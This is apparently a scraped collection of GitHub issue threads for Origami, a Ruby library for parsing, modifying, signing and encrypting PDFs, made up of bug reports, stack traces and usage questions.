gdelugre / origami Goto Github PK
View Code? Open in Web Editor NEWOrigami is a pure Ruby library to parse, modify and generate PDF documents.
License: GNU Lesser General Public License v3.0
Origami is a pure Ruby library to parse, modify and generate PDF documents.
License: GNU Lesser General Public License v3.0
There's this in the README:
require 'origami'
include Origami
It's unconventional and in my opinion only causes problems such as this one on stack overflow and #12
It even breaks for example Array
, Date
and others:
puts Array.new(4).inspect # => [nil, nil, nil, nil]
puts Date.new.friday? # => false
include Origami
puts Array.new(4).inspect # => Expected type Array, received Integer. (TypeError)
puts Date.new.friday? # => missing keyword: year (ArgumentError)
There's a huge number of constants it will bring:
require 'origami'
class FooFoo
include Origami
end
puts FooFoo::VERSION
# "2.1.0"
puts FooFoo::OPTIONS.inspect
# {:enable_type_checking=>true, :enable_type_guessing=>true, :enable_type_propagation=>true, :ignore_bad_references=>false, :ignore_zlib_errors=>false, :ignore_png_errors=>false}
Full list of constants:
# FooFoo.constants.each(&method(:puts))
Resources
Outline
ObjectStream
URL
InvalidHexaStringObjectError
Dictionary
Integer
ExternalFile
String
Array
EmbeddedFileParameters
InvalidLiteralStringObjectError
InvalidDateError
Collection
OutputIntent
Reference
XRefToCompressedObject
Linearization
InvalidHintTableError
HintTable
XRef
InvalidXRefError
XFA
XDP
Stream
Font
Filter
Signature
Encryption
InvalidHintStreamObjectError
HintStream
XFAStream
PageLabel
FontStream
Encoding
FontDescriptor
InvalidXRefStreamObjectError
InteractiveForm
Metadata
Field
ContentStream
Annotation
Graphics
InvalidTrailerError
MetadataStream
WebCapture
Extensions
XRefStream
DeveloperExtension
OptionalContent
Obfuscator
InvalidArrayObjectError
Projection3D
CatalogAdditionalActions
Rectangle
Catalog
VERSION
PageLayout
InvalidStreamObjectError
FileSpec
Background3D
TypeConversion
EncryptionError
Real
Boolean
Null
LiteralString
FieldAccessor
StandardObject
RenderMode3D
PageMode
EncryptionInvalidPasswordError
EncryptionNotSupportedError
UsageRights
InvalidReferenceError
Perms
InvalidObjectError
UnterminatedObjectError
Text
WHITESPACES
WHITECHARS_NORET
EOL
WHITECHARS
REGEXP_WHITESPACES
Action
Requirement
ViewerPreferences
LightingScheme3D
Date
Parser
ExternalStream
InvalidObjectStreamObjectError
Error
CrossSection3D
OPTIONS
Node3D
Measurement3D
PageTreeNode
LinearDimensionMeasurement3D
FDF
PPKLite
HexaString
PDF
Function
InvalidPDFInstructionError
PerpendicularDimensionMeasurement3D
AngularDimensionMeasurement3D
NameLeaf
RadialMeasurement3D
CommentNote3D
InvalidPDFError
InvalidNullObjectError
View3D
REGULARCHARS
InvalidNameObjectError
InvalidDictionaryObjectError
Destination
AnimationStyle3D
U3DStream
Trailer
Object
Reference3D
Units3D
Page
OutlineItem
InvalidNameTreeError
NameTreeNode
DestinationDictionary
InvalidBooleanObjectError
Names
EmbeddedFileStream
NumberTreeNode
InvalidIntegerObjectError
Number
InvalidRealObjectError
InvalidPageTreeError
ResourcesHolder
Filename
Name
In conclusion: It's bad and does more harm than good.
Is there anywhere in the documentation where I can find a basic example of adding a FreeText annotation to a page in a PDF? I have tried the following but do not see any text on the resulting document:
require 'origami'
pdf = Origami::PDF.read("templates/input.pdf")
page = pdf.get_page(1)
annot = Origami::Annotation::FreeText.new
annot.Contents = "Hello World"
annot.Rectangle = Origami::Rectangle[llx: 0, lly: 0, urx: 200, ury: 100]
page.add_annotation(annot)
pdf.save("documents/output.pdf")
An option/flag to move rejected pdf (Exception) to /path/infected, sort of like clamav does would be nice. Further work then can be done on sorted pdfs.
Regards.
I'd like to be able to generate a PDF and print it without saving it as a file. Perhaps it's just me, but I can't see how to do that?
In the code I can see PDF#output
, but it's a private method, so I don't want to use that.
Hello,
I saw that it says:
"Decrypts the current document (only RC4 40..128 bits)."
Source: https://github.com/gdelugre/origami/blob/master/lib/origami/encryption.rb#L47
What are the possible encryption algorithms? What is the software missing? I saw it's missing AES, but is it missing something?
Another question, in https://github.com/gdelugre/origami/blob/master/lib/origami/encryption.rb#L96 & https://github.com/gdelugre/origami/blob/master/lib/origami/encryption.rb#L171
There are two encryption algorithms possible: AES & RC4, does all the pdf readers support them?
Thanks!
PS. This post has more doubts than issues, sorry for posting them here.
I found a couple errors in the code itself but also an error in the generated code that I haven't tracked down. This is just a quick note in case you can nail these down and I can't (I've only just started looking at your code):
diff --git a/bin/pdf2ruby b/bin/pdf2ruby
index 0b56b26..09903d1 100755
--- a/bin/pdf2ruby
+++ b/bin/pdf2ruby
@@ -297,8 +297,8 @@ catalog = target.Catalog
puts "[*] ".red + "Processing the object hierarchy..."
@current_idx = 0
while @current_idx != @obj_route.size
- var_name = @obj_route[@current_idx]
- obj = target[@var_hash.key(var_name)]
+ varname = @obj_route[@current_idx]
+ obj = target[@var_hash.key(varname)]
@code_hash[varname] ||= {}
@code_hash[varname][:body] = objectToRuby(obj, 0, varname, true)
The generation error results in code that has a missing class name so .new
is a syntax error:
obj_218 =
.new(
:Names =>
["subsection.1.2.2", obj_29, "subsection.1.2.3", obj_33, "subsection.1.3.1", obj_41, "subsection.1.3.2", obj_45, "subsection.1.3.3", obj_49, "subsection.1.3.4", obj_53],
:Limits =>
["subsection.1.2.2", "subsection.1.3.4"]
).to_o
There seems to be a problem when I'm using this gem with jruby. It gets tripped up by the .to_o
method, for some reason.
Bundler::GemRequireError: There was an error while trying to load the gem 'origami'.
Gem Load Error is: undefined method `to_o' for 0:Fixnum
Did you mean? to_json
to_c
to_r
to_d
to_i
to_s
to_f
Backtrace for gem load error is:
/Users/ndbroadbent/.rvm/gems/jruby-9.1.7.0/gems/origami-2.0.3/lib/origami/array.rb:54:in `block in initialize'
org/jruby/RubyArray.java:1733:in `each'
org/jruby/RubyEnumerable.java:1067:in `each_with_index'
/Users/ndbroadbent/.rvm/gems/jruby-9.1.7.0/gems/origami-2.0.3/lib/origami/array.rb:53:in `initialize'
/Users/ndbroadbent/.rvm/gems/jruby-9.1.7.0/gems/origami-2.0.3/lib/origami/array.rb:195:in `initialize'
/Users/ndbroadbent/.rvm/gems/jruby-9.1.7.0/gems/origami-2.0.3/lib/origami/array.rb:278:in `[]'
/Users/ndbroadbent/.rvm/gems/jruby-9.1.7.0/gems/origami-2.0.3/lib/origami/page.rb:514:in `<module:Format>'
JRuby version:
$ jruby --version
jruby 9.1.7.0 (2.3.1) 2017-01-11 68056ae Java HotSpot(TM) 64-Bit Server VM 25.131-b11 on 1.8.0_131-b11 +jit [darwin-x86_64]
I tried to extract a very large pdf (300mb) and 900+ pictures and it keeps crashing because it filled the RAM.
I will take a look very the memory leak happens, but it is very annoying.
If I try to analyse the attached file, I get the following error:
[2017-02-13 14:07:22 +0100] PDFcop is running on target Webshop-Quick-Guide-2014.pdf', policy =
standard'
[2017-02-13 14:07:22 +0100] File size: 1486762 bytes
[2017-02-13 14:07:22 +0100] MD5: 8c81e5907ed33bd64f259e6468e01d85
[error] Breaking on: "<?xpacket ..." at offset 0x7e
[error] Last exception: [Origami::InvalidObjectError] Object shall begin with '%d %d obj' statement
[error] Manually fix the file or set :ignore_errors parameter.
[error] Cannot read : "<?xpacket ..."
[error] Stopped on exception : Object shall begin with '%d %d obj' statement
[2017-02-13 14:07:22 +0100] An error occured during analysis : Origami::InvalidPDFError (Broken catalog)
[2017-02-13 14:07:22 +0100] Document rejected by policy `standard', caused by "Analysis failure".
I would like to upgrade to the latest version of Origami, but our Corporate virus scanner is complaining about it containing an encrypted PDF file. It appears this is coming from the test/dataset folder, since those are the only PDFs that I saw.
Would it be possible to remove the test folder from the Gem, or at least provide a "runtime" Gem that didn't include the example and test folders?
origami/lib/origami/graphics/xobject.rb
Line 81 in ee7207c
This should allow passing in width and height parameters.
Went through the Rubydoc documentation but couldn't find anything related to it, but I've could've missed it. Is it possible?
In an otherwise valid document, If I do
contents.write('my text', {
x: 30,
y: 30,
size: 8,
leading: 8 * 1.2
})
when I process the resulting file with GhostScript, it says
**** Warning: Tf refers to an unknown resource name: F1 Assuming it's a font name.
**** This file had errors that were repaired or ignored.
**** The file was produced by:
**** >>>> GPL Ghostscript 9.16 <<<<
**** Please notify the author of the software that produced this
**** file that it does not conform to Adobe's published PDF
**** specification.
Hi,
I'm trying to read a PDF created by https://github.com/prawnpdf/prawn, it seems fine while reading it (no errors), however after saving it, it's just a blank page...
When comparing it an HexEditor (before and after), the major difference (besides Origami removing blanks and updating the xrefs) is this:
8 0 obj
<<
/Parent 3 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
So it seems Origami is embedding a new Font? I can see the font being defined earlier...
Any ideas? Thanks!
Edit: pdf.pages.size
results to 0 so I guess the error happens when reading it
Does Origami "flatten" PDF files? By "flatten", I mean does it convert a fillable form/AcroForm PDF into a regular PDF, substituting the forms field values into the document?
Could you provide some example code of how to use PPKLite correctly?
My Script looks the following:
require 'origami'
include Origami
pdf = PPKLite.read "C:\\Users\\Name\\addressbook.acrodata"
puts pdf.Catalog
puts pdf.show_entries
But i got the following error: undefined method `show_entries' for #Origami::PPKLite:0x00000000035d4cf8 (NoMethodError)
So it would be belpful to get some example code of how to use it correctly. Thanks a lot!
------ EDIT -------
Sorry, i solved it. I used an old rubydoc.info site, which uses version 1. With the right one, now i can work.
I am trying in the console wiki example:
pdf = PDF.new
pdf.append_page
pdf.pages.first.write "Hello", size: 30
After executing the 3rd line I am getting an error:
No method `scale' for Origami::ContentStream
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/origami-2.0.1/lib/origami/object.rb:98:in `method_missing'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/origami-2.0.1/lib/origami/graphics/xobject.rb:295:in `set_text_scale'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/origami-2.0.1/lib/origami/graphics/xobject.rb:224:in `write'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/origami-2.0.1/lib/origami/graphics/xobject.rb:485:in `write'
from (irb):14
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/railties-4.2.7/lib/rails/commands/console.rb:110:in `start'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/railties-4.2.7/lib/rails/commands/console.rb:9:in `start'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/railties-4.2.7/lib/rails/commands/commands_tasks.rb:68:in `console'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/railties-4.2.7/lib/rails/commands/commands_tasks.rb:39:in `run_command!'
from /Users/pavlo/.rvm/gems/ruby-2.3.1@gk_4.2/gems/railties-4.2.7/lib/rails/commands.rb:17:in `<top (required)>'
from bin/rails:4:in `require'
from bin/rails:4:in `<main>'
Hi
When I try to verify a pdf signature of type "adbe.x509.rsa_sha1" it is throwing an error and when i try to verify it with PKCS7 It says that the argument should be of type X509 . how can i verify the signature of PDF in such a case
Origami hangs with 100% CPU usage when parsing the attached corrupt/malformed PDF.
Wrapping the call in a Timeout
yields the following stack trace:
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:113:in `objects'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:305:in `block in indirect_objects'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:305:in `each'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:305:in `inject'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:305:in `indirect_objects'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:395:in `get_object_by_offset'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/parsers/pdf/linear.rb:81:in `locate_xref_stream'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/parsers/pdf/linear.rb:57:in `parse'
/usr/local/rvm/gems/ruby-2.3.0/gems/origami-2.0.3/lib/origami/pdf.rb:136:in `read'
To verify the crash:
./bin/pdf2ruby /path/to/hang.pdf
It's worth noting that the pdf2ruby
utility is used a simple means to reproduce the issue - the underlying issue resides in the Origami library and not this utility.
I'm trying to use this gem to parse a PDF file that exists on my local file system. When I follow the instructions, this gem doesn't work. Please advise!
require "origami"
include Origami
local_file = File.join(File.expand_path("../../tmp", __FILE__), "my_report.pdf")
pdf = PDF.read(local_file)
#> NoMethodError: undefined method `read' for PDF:Module
Versions:
Hi - this is a basic question - but what is the simple way to get the page text? I dont see an example of it and am not seeing an easy way to do that.
Thank you.
Hey,
I was trying to certificate pdf documents using this library, but the sign
method does not allow (at least for now) to add permissions to the document, and I wasn't able to understand how the enable_usage_rights
worked.
I guess my problem is pretty similar to the one described in #14.
I tried to figure out a solution for this, and I hacked a quick solution that seems to work right now: miguelsantoss@f86fd70.
I found some references to the DocMDP header in the signature.rb
, is this something you plan to add in the future? Adding that to the signature seems to be what I needed.
Another question is if it's possible to encrypt a document, and then sign/certify it. Is this something that could be done?
If I try to sign after the encryption, even without setting a password, it gives me an error.
Hi
Is there a method to server the file using send_data without saving the file to desk?
Thanks
I installed Ruby 2.4.1-1 (x86), then I launched gem install origami
and, as I wanted to use the gui version, also did gem install gtk2
(I'm on a Win 10 pro x64 machine)
Everything fine so far (verified the gtk2 installation with ruby -rgtk2 -e "Gtk::Window.new.show;Gtk.main"
and a window appeared).
But still can't use "pdfwalker", this is the output I get:
C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:54:in <class:PDFTree>': 'Pango::WEIGHT_NORMAL' has been deprecated. Use 'Pango::Weight::NORMAL' or ':normal'. C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:54:in
class:PDFTree': 'Pango::STYLE_NORMAL' has been deprecated. Use 'Pango::Style::NORMAL' or ':normal'.
C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:382:in reset_appearance': 'Pango::WEIGHT_BOLD' has been deprecated. Use 'Pango::Weight::BOLD' or ':bold'. C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:391:in
reset_appearance': 'Pango::STYLE_ITALIC' has been deprecated. Use 'Pango::Style::ITALIC' or ':italic'.
C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:396:in reset_appearance': 'Pango::STYLE_OBLIQUE' has been deprecated. Use 'Pango::Style::OBLIQUE' or ':oblique'. C:/Ruby24/lib/ruby/gems/2.4.0/gems/glib2-3.1.6-x86-mingw32/lib/glib2/deprecatable.rb:112:in
const_missing': uninitialized constant Pango::FontDescription::Weight (NameError)
Did you mean? Pango::Weight
from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:63:in initialize' from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:28:in
new'
from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/treeview.rb:28:in create_treeview' from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/walker.rb:202:in
init_interface'
from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/walker.rb:79:in initialize' from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/walker.rb:59:in
new'
from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/gui/walker.rb:59:in start' from C:/Ruby24/lib/ruby/gems/2.4.0/gems/origami-2.0.3/bin/pdfwalker:6:in
<top (required)>'
from C:/Ruby24/bin/pdfwalker:22:in load' from C:/Ruby24/bin/pdfwalker:22:in
Origami v2.0.4
encryption.rb:
#!/usr/bin/env ruby
require 'origami'
include Origami
pdf = PDF.new.encrypt(cipher: 'aes', key_size: 256)
contents = ContentStream.new
contents.write "Encrypted document sample",
x: 100, y: 750, rendering: Text::Rendering::STROKE, size: 30
pdf.append_page Page.new.setContents(contents)
form1 = Field::Subform.new(T: "form1[0]")
form1.add_fields(subform = Field::Subform.new(T: "#subform[0]"))
xdp = Origami::XDP::Package.new('').to_s
pdf.create_xfa_form(xdp, form1) # commenting out this line removes the problem
pdf.save("encryption.pdf")
$ ruby encryption.rb
/usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:470:in `encrypt!': undefined method `string_encryption_cipher' for nil:NilClass (NoMethodError)
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:429:in `post_build'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:756:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:778:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `each_value'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:778:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `each'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:778:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `each_value'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:771:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:764:in `map!'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:764:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:778:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `each_value'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:777:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:771:in `block in build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/dictionary.rb:138:in `block in map!'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/dictionary.rb:137:in `each_pair'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/dictionary.rb:137:in `map!'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:764:in `build_compound_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:753:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:418:in `build_object'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:733:in `block in physicalize'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:732:in `each'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:732:in `physicalize'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/encryption.rb:397:in `physicalize'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:713:in `compile'
from /usr/local/rvm/gems/ruby-2.4.1/gems/origami-2.0.4/lib/origami/pdf.rb:221:in `save'
from encryption.rb:18:in `<main>'
I have seen that from line:
origami/lib/origami/signature.rb
Line 202 in 8ba8d70
That the it's like always the signature digest is used with SHA1 while PDF supports SHA256 and SHA512.
Is there any way to add support for these?
When running this code I get:
/Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/graphics/colors.rb:206:in `block in <class:Instruction>': uninitialized constant Origami::Graphics::Color::SPACE (NameError)
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/graphics/instruction.rb:48:in `render'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/graphics/xobject.rb:378:in `set_stroke_color'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/graphics/xobject.rb:165:in `draw_rectangle'
Hi.
Attached file is incorrectly signed by Origami. This file was created in Microsoft Word and saved as PDF. The problem is that ByteRange[3] value differs from eventual filesize. Changing "file_data = output()" to "file_data = output(rebuild_xrefs: false)" seems to fix the issue for Origami validator, but Adobe Reader reports "Unexpected byterange" error.
Thanks for this great gem especially for digital signature verification!
Currently I am trying to verify a signed PDF with two digital signatures, I am facing this error:
Origami::PDF::SignatureError: Invalid signature byte range
Not sure if Origami supports multiple-signature verification, please advise, thanks in advance!
Hi @gdelugre , Can we update a pdf for some of the text and background image of first page?
207 Sanderling Ln - JSP.pdf
Hi, First off, thanks for an awesome library! I was reading through the docs and examples, but I couldn't figure out if it's possible to fill out an XFA or Acroform using Origami. I figured out how to extract XFA data from a pdf, but I'm still not sure how to fill one out. Can you point me in the right direction? Thanks!
Origami v2.0.3
$ ruby examples/encryption/encryption.rb
PDF file saved as encryption.pdf.
When I open the file with Adobe Reader 9.0 (yeah it's pretty old!), I get the following:
But even Adobe Reader DC doesn't render it properly because even though it doesn't throw an error, it doesn't show the content either (Encrypted document sample).
Hello.
We need to sign data with detached PKCS#7 signature externally (in the Web Browser) and would like to insert that signature inside PDF document some way. So the whole scenario would look like this:
Is it generally possible to implement this?
Thanks in advance.
require 'origami'
include Origami
input_file = 'test.pdf'
output_file = '/tmp/test_signed.pdf'
private_key = File.read('keys/server.key')
certificate = File.read('keys/server.crt')
passphrase = ''
key = OpenSSL::PKey::RSA.new private_key, passphrase
cert = OpenSSL::X509::Certificate.new(certificate)
pdf = PDF.read(input_file)
pdf.sign(cert, key,
:method => 'adbe.pkcs7.sha1',
:location => "Portugal",
:contact => "[email protected]",
:reason => "Proof of Concept"
)
jasons-mbp:jason jason$ ruby test.rb
[info ] ...Reading header...
[info ] ...Parsing revision 1...
[info ] ...Parsing xref table...
[warn ] Unable to parse xref table! Xrefs might be stored into an XRef stream.
[info ] ...Parsing trailer...
[info ] ...Parsing revision 2...
[info ] ...Parsing xref table...
[warn ] Unable to parse xref table! Xrefs might be stored into an XRef stream.
[info ] ...Parsing trailer...
[warn ] Found a XRefStream for this revision at 274 0 R
[warn ] This file has been linearized.
[info ] ...Propagating types...
/Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/trailer.rb:143:in `[]=': undefined method `[]=' for nil:NilClass (NoMethodError)
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/object.rb:193:in `block in define_field_methods'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/pdf.rb:1044:in `block in rebuild_dummy_xrefs'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/pdf.rb:1035:in `each'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/pdf.rb:1035:in `rebuild_dummy_xrefs'
from /Users/jason/.rvm/gems/ruby-2.3.3/gems/origami-2.0.2/lib/origami/signature.rb:177:in `sign'
from test.rb:11:in `<main>'
The error seems to happen because dictionary
is nil and nil && Dictionary.new(dictionary)
is nil, but I'm not sure if this is only happening because my document is invalid or needs to be preprocessed first...
I am trying to use origami to add digital signature and encryption but when I am trying to use this gem, getting.
[1] pry(main)> require 'origami'
=> true
[2] pry(main)> pdf = PDF.read "something.pdf"
NameError: uninitialized constant PDF
I found the solution. I need to call the constructor
Origami::PDF.read('something.pdf')
I cannot get the '--no-color' option to work properly. The first two output lines are displayed without ESC codes but the following output lines are not. I am running ruby-colorize 0.8.1-2 and 2.0.0-1, both installed from Arch and Archstrike repositories.
Please let me know if you can reproduce and if there is any easy fix to this issue.
I am having the above error when trying to save as new PDF file (read from another file) using Pathname
object (in Rails)
Trying to save with pathname.to_s
work fine.
All the examples seem to be about adding a new page to a PDF and adding content to it. It would be helpful to have an example of adding content to an existing page. It took me numerous tries before finding something that would work:
pdf = Origami::PDF.read(path)
contents = Origami::ContentStream.new
contents.write('some text', {
x: 200,
y: 200,
})
pdf.get_page(1).setContents([pdf.get_page(1).Contents, contents])
pdf.save(path)
Hello.
What part of your code counts pages in a pdf? I would like to be able to use that code without having to import the gem into my module.
Thank you.
Similar to other recent issues I get the following error for adding annotations to an existing pdf:
[...]/gems/origami-2.0.2/lib/origami/object.rb:98:in 'method_missing': No method 'add_annot' for Origami::Page (NoMethodError)
my code:
pdf = PDF.read(INPUTFILE)
puts "Add signature..."
sigannot = Annotation::Widget::Signature.new
sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
page = pdf.pages.first
page.add_annot(sigannot)
I'm wondering if Origami currently supports creating multiple signatures in one document? I'm trying to attempt that, but when I open the file in Acrobat Reader, I see an error under first revision: SigDict/Contents illegal data.
The second revision looks fine.
Here's how I do it:
pdf = PDF.read(file)
pdf.sign(...)
pdf.save(file)
pdf = PDF.read(file)
pdf.sign(...)
pdf.save(file)
a simple pdf encryption doesn't work on origami 2.1.0, e.g.:
pdfencrypt --output /tmp/enc.pdf --password test plain.pdf
then opening the resulting pdf with a pdf viewer, I cannot decrypt by using "test" as password. the sample pdf is attached, and was produced with a simple echo hello | pandoc -o plain.pdf
. However, I tried with a PDF file generated from LibreOffice, and it worked.
This did work in 2.0.0. I bisected this locally, and found the commit that breaks this is dde7ab1.
To use "ipcop" in a script it's necessary to disable the password prompt. Otherwise the script will stop and cannot continue until a user presses a key.
Please add an option to disable the password prompt.
We generated a version 1.5 pdf file, which can be 'read' by origami, but as soon as we try to 'sign' and save it, we get the following error:
Origami::InvalidPDFError:
No trailer found
# /Users/yvonne/.rvm/gems/ruby-2.5.1/gems/origami-2.1.0/lib/origami/trailer.rb:47:in `trailer'
# /Users/yvonne/.rvm/gems/ruby-2.5.1/gems/origami-2.1.0/lib/origami/pdf.rb:809:in `output'
# /Users/yvonne/.rvm/gems/ruby-2.5.1/gems/origami-2.1.0/lib/origami/pdf.rb:223:in `save'
Without the 'sign' method, the save works fine. We also tried it with pdf version 1.4, and that seems to work fine also. The pdf files are generated by princexml.
The pdf file used: pdf_to_sign.pdf
It might be related to issue #16 , but the error message is different, and also said to be fixed in an earlier version.
Using the following code i added digital signature into pdf.
require 'openssl'
require 'origami'
include Origami
key = OpenSSL::PKey::RSA.new 2048
name = OpenSSL::X509::Name.parse 'CN=nobody/DC=example'
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 0
cert.not_before = Time.now
cert.not_after = Time.now + 3600
cert.public_key = key.public_key
cert.subject = name
cert.sign key, OpenSSL::Digest::SHA1.new
open 'certificate.pem', 'w' do |io| io.write cert.to_pem end
OUTPUTFILE = "outfile.pdf"
pdf = PDF.read('testing.pdf')
pdf.sign(cert, key,
:method => 'adbe.pkcs7.sha1',
#:annotation => sigannot,
:location => "Portugal",
:contact => "[email protected]",
:reason => "Proof of Concept"
)
pdf.save(OUTPUTFILE)
After that i used the following code to verify digital signature using stored certificate. But it gives false.
signed_cert = OpenSSL::X509::Certificate.new(File::read('certificate.pem'))
pdf = PDF.read("outfile.pdf")
if pdf.signed?
pdf.verify(trusted_certs: [signed_cert]) #This gives false
end
What am I doing wrong?
With tools like pdfcop origami can already detect active/dangerous content in PDF files.
It would be awesome if it were possible to also sanitize PDF files like it was possible with Origapy or exefilter.
There are 3 common names getting installed with the package:
/usr/bin/shell, /usr/bin/gui and /usr/bin/config
could you rename them to something like pdfshell?
Thanks
Is there any documentation for using this library? All I see is an outdated rubydocs for version 1.2.3.
